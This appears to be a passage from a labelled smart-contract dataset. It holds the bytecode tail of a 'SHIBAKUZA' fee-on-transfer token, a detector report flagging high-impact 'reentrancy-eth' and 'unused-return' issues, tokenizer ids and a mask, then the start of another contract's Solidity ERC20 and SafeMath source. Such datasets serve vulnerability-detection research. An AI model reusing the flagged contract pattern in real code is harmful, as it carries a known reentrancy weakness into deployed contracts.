ffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f53484942414b555a410000000000000000000000000000000000000000000000815250905090565b6000610ab8610ab16111c3565b8484611396565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b036111c3565b73ffffffffffffffffffffffffffffffffffffffff1614610b2357600080fd5b6000610b2e3061089a565b9050610b3981611b68565b50565b610b446111c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc8906129fd565b60405180910390fd5b600f60149054906101000a900460ff1615610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1890612b10565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a00006111cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf657600080fd5b505afa158015610d0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2e9190612b45565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9057600080fd5b505afa158015610da4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc89190612b45565b6040518363ffffffff1660e01b8152600401610de5929190612b72565b602060405180830381600087803b158015610dff57600080fd5b505af1158015610e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e379190612b45565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ec03061089a565b600080610ecb610a3e565b426040518863ffffffff1660e01b8152600401610eed96959493929190612be0565b6060604051808303818588803b158015610f0657600080fd5b505af1158015610f1a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3f9190612c56565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555066082bd67afbc0006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611040929190612ca9565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612ce7565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111256111c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a9906129fd565b60405180910390fd5b67016345785d8a0000601081905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561123b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123290612d86565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a290612e18565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611389919061281c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fd90612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90612f3c565b60405180910390fd5b600081116114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b090612fce565b60405180910390fd5b6005600a819055506006600b819055506114d1610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561153f575061150f610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561198b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115e85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115f157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561169c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116f25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561170a5750600f60179054906101000a900460ff165b156117ba5760105481111561171e57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061176957600080fd5b601e426117769190612fee565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156118655750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118bb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d1576002600a81905550600a600b819055505b60006118dc3061089a565b9050600f60159054906101000a900460ff161580156119495750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119615750600f60169054906101000a900460ff165b156119895761196f81611b68565b6000479050600081111561198757611986476119ff565b5b505b505b611996838383611df0565b505050565b60008383111582906119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da919061253c565b60405180910390fd5b50600083856119f29190613044565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a4f600284611e0090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a7a573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611acb600284611e0090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611af6573d6000803e3d6000fd5b5050565b6000600854821115611b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b38906130ea565b60405180910390fd5b6000611b4b611e4a565b9050611b608184611e0090919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ba057611b9f612577565b5b604051908082528060200260200182016040528015611bce5781602001602082028036833780820191505090505b5090503081600081518110611be657611be5612a1d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c8857600080fd5b505afa158015611c9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc09190612b45565b81600181518110611cd457611cd3612a1d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d3b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111cb565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d9f9594939291906131c8565b600060405180830381600087803b158015611db957600080fd5b505af1158015611dcd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dfb838383611e75565b505050565b6000611e4283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612040565b905092915050565b6000806000611e576120a3565b91509150611e6e8183611e0090919063ffffffff16565b9250505090565b600080600080600080611e8787612102565b955095509550955095509550611ee586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461216a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fc681612212565b611fd084836122cf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161202d919061281c565b60405180910390a3505050505050505050565b60008083118290612087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207e919061253c565b60405180910390fd5b50600083856120969190613251565b9050809150509392505050565b60008060006008549050600067016345785d8a000090506120d767016345785d8a0000600854611e0090919063ffffffff16565b8210156120f55760085467016345785d8a00009350935050506120fe565b81819350935050505b9091565b600080600080600080600080600061211f8a600a54600b54612309565b925092509250600061212f611e4a565b905060008060006121428e87878761239f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006121ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061199b565b905092915050565b60008082846121c39190612fee565b905083811015612208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ff906132ce565b60405180910390fd5b8091505092915050565b600061221c611e4a565b90506000612233828461242890919063ffffffff16565b905061228781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122e48260085461216a90919063ffffffff16565b6008819055506122ff816009546121b490919063ffffffff16565b6009819055505050565b6000806000806123356064612327888a61242890919063ffffffff16565b611e0090919063ffffffff16565b9050600061235f6064612351888b61242890919063ffffffff16565b611e0090919063ffffffff16565b905060006123888261237a858c61216a90919063ffffffff16565b61216a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123b8858961242890919063ffffffff16565b905060006123cf868961242890919063ffffffff16565b905060006123e6878961242890919063ffffffff16565b9050600061240f82612401858761216a90919063ffffffff16565b61216a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561243b576000905061249d565b6000828461244991906132ee565b90508284826124589190613251565b14612498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248f906133ba565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124dd5780820151818401526020810190506124c2565b838111156124ec576000848401525b50505050565b6000601f19601f8301169050919050565b600061250e826124a3565b61251881856124ae565b93506125288185602086016124bf565b612531816124f2565b840191505092915050565b600060208201905081810360008301526125568184612503565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6125af826124f2565b810181811067ffffffffffffffff821117156125ce576125cd612577565b5b80604052505050565b60006125e161255e565b90506125ed82826125a6565b919050565b600067ffffffffffffffff82111561260d5761260c612577565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061264e82612623565b9050919050565b61265e81612643565b811461266957600080fd5b50565b60008135905061267b81612655565b92915050565b600061269461268f846125f2565b6125d7565b905080838252602082019050602084028301858111156126b7576126b661261e565b5b835b818110156126e057806126cc888261266c565b8452602084019350506020810190506126b9565b5050509392505050565b600082601f8301126126ff576126fe612572565b5b813561270f848260208601612681565b91505092915050565b60006020828403121561272e5761272d612568565b5b600082013567ffffffffffffffff81111561274c5761274b61256d565b5b612758848285016126ea565b91505092915050565b6000819050919050565b61277481612761565b811461277f57600080fd5b50565b6000813590506127918161276b565b92915050565b600080604083850312156127ae576127ad612568565b5b60006127bc8582860161266c565b92505060206127cd85828601612782565b9150509250929050565b60008115159050919050565b6127ec816127d7565b82525050565b600060208201905061280760008301846127e3565b92915050565b61281681612761565b82525050565b6000602082019050612831600083018461280d565b92915050565b6000806000606084860312156128505761284f612568565b5b600061285e8682870161266c565b935050602061286f8682870161266c565b925050604061288086828701612782565b9150509250925092565b6000602082840312156128a05761289f612568565b5b60006128ae8482850161266c565b91505092915050565b600060ff82169050919050565b6128cd816128b7565b82525050565b60006020820190506128e860008301846128c4565b92915050565b6128f7816127d7565b811461290257600080fd5b50565b600081359050612914816128ee565b92915050565b6000602082840312156129305761292f612568565b5b600061293e84828501612905565b91505092915050565b61295081612643565b82525050565b600060208201905061296b6000830184612947565b92915050565b6000806040838503121561298857612987612568565b5b60006129968582860161266c565b92505060206129a78582860161266c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129e76020836124ae565b91506129f2826129b1565b602082019050919050565b60006020820190508181036000830152612a16816129da565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a8682612761565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ab957612ab8612a4c565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612afa6017836124ae565b9150612b0582612ac4565b602082019050919050565b60006020820190508181036000830152612b2981612aed565b9050919050565b600081519050612b3f81612655565b92915050565b600060208284031215612b5b57612b5a612568565b5b6000612b6984828501612b30565b91505092915050565b6000604082019050612b876000830185612947565b612b946020830184612947565b9392505050565b6000819050919050565b6000819050919050565b6000612bca612bc5612bc084612b9b565b612ba5565b612761565b9050919050565b612bda81612baf565b82525050565b600060c082019050612bf56000830189612947565b612c02602083018861280d565b612c0f6040830187612bd1565b612c1c6060830186612bd1565b612c296080830185612947565b612c3660a083018461280d565b979650505050505050565b600081519050612c508161276b565b92915050565b600080600060608486031215612c6f57612c6e612568565b5b6000612c7d86828701612c41565b9350506020612c8e86828701612c41565b9250506040612c9f86828701612c41565b9150509250925092565b6000604082019050612cbe6000830185612947565b612ccb602083018461280d565b9392505050565b600081519050612ce1816128ee565b92915050565b600060208284031215612cfd57612cfc612568565b5b6000612d0b84828501612cd2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d706024836124ae565b9150612d7b82612d14565b604082019050919050565b60006020820190508181036000830152612d9f81612d63565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e026022836124ae565b9150612e0d82612da6565b604082019050919050565b60006020820190508181036000830152612e3181612df5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612e946025836124ae565b9150612e9f82612e38565b604082019050919050565b60006020820190508181036000830152612ec381612e87565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f266023836124ae565b9150612f3182612eca565b604082019050919050565b60006020820190508181036000830152612f5581612f19565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612fb86029836124ae565b9150612fc382612f5c565b604082019050919050565b60006020820190508181036000830152612fe781612fab565b9050919050565b6000612ff982612761565b915061300483612761565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561303957613038612a4c565b5b828201905092915050565b600061304f82612761565b915061305a83612761565b92508282101561306d5761306c612a4c565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006130d4602a836124ae565b91506130df82613078565b604082019050919050565b60006020820190508181036000830152613103816130c7565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61313f81612643565b82525050565b60006131518383613136565b60208301905092915050565b6000602082019050919050565b60006131758261310a565b61317f8185613115565b935061318a83613126565b8060005b838110156131bb5781516131a28882613145565b97506131ad8361315d565b92505060018101905061318e565b5085935050505092915050565b600060a0820190506131dd600083018861280d565b6131ea6020830187612bd1565b81810360408301526131fc818661316a565b905061320b6060830185612947565b613218608083018461280d565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061325c82612761565b915061326783612761565b92508261327757613276613222565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006132b8601b836124ae565b91506132c382613282565b602082019050919050565b600060208201905081810360008301526132e7816132ab565b9050919050565b60006132f982612761565b915061330483612761565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561333d5761333c612a4c565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006133a46021836124ae565b91506133af82613348565b604082019050919050565b600060208201905081810360008301526133d381613397565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ceb1d2e27a62f6d07fd86dae37555f88a6c66513ffdc2799c0c8ac4c95d877e664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 20952, 2050, 2683, 2050, 2581, 11057, 2509, 10322, 20842, 2575, 2497, 2581, 2050, 2692, 11960, 9818, 2620, 15878, 25746, 2546, 2549, 2546, 2692, 2575, 2683, 21084, 5243, 1013, 1013, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 11895, 3676, 5283, 25290, 11231, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,482
0x96e03dd7b55ad13dce75bf6fa8b6d8911fcee71f
/** *Submitted for verification at Etherscan.io on 2021-03-20 */ /** *Submitted for verification at Etherscan.io on 2021-01-31 */ // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 8; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the 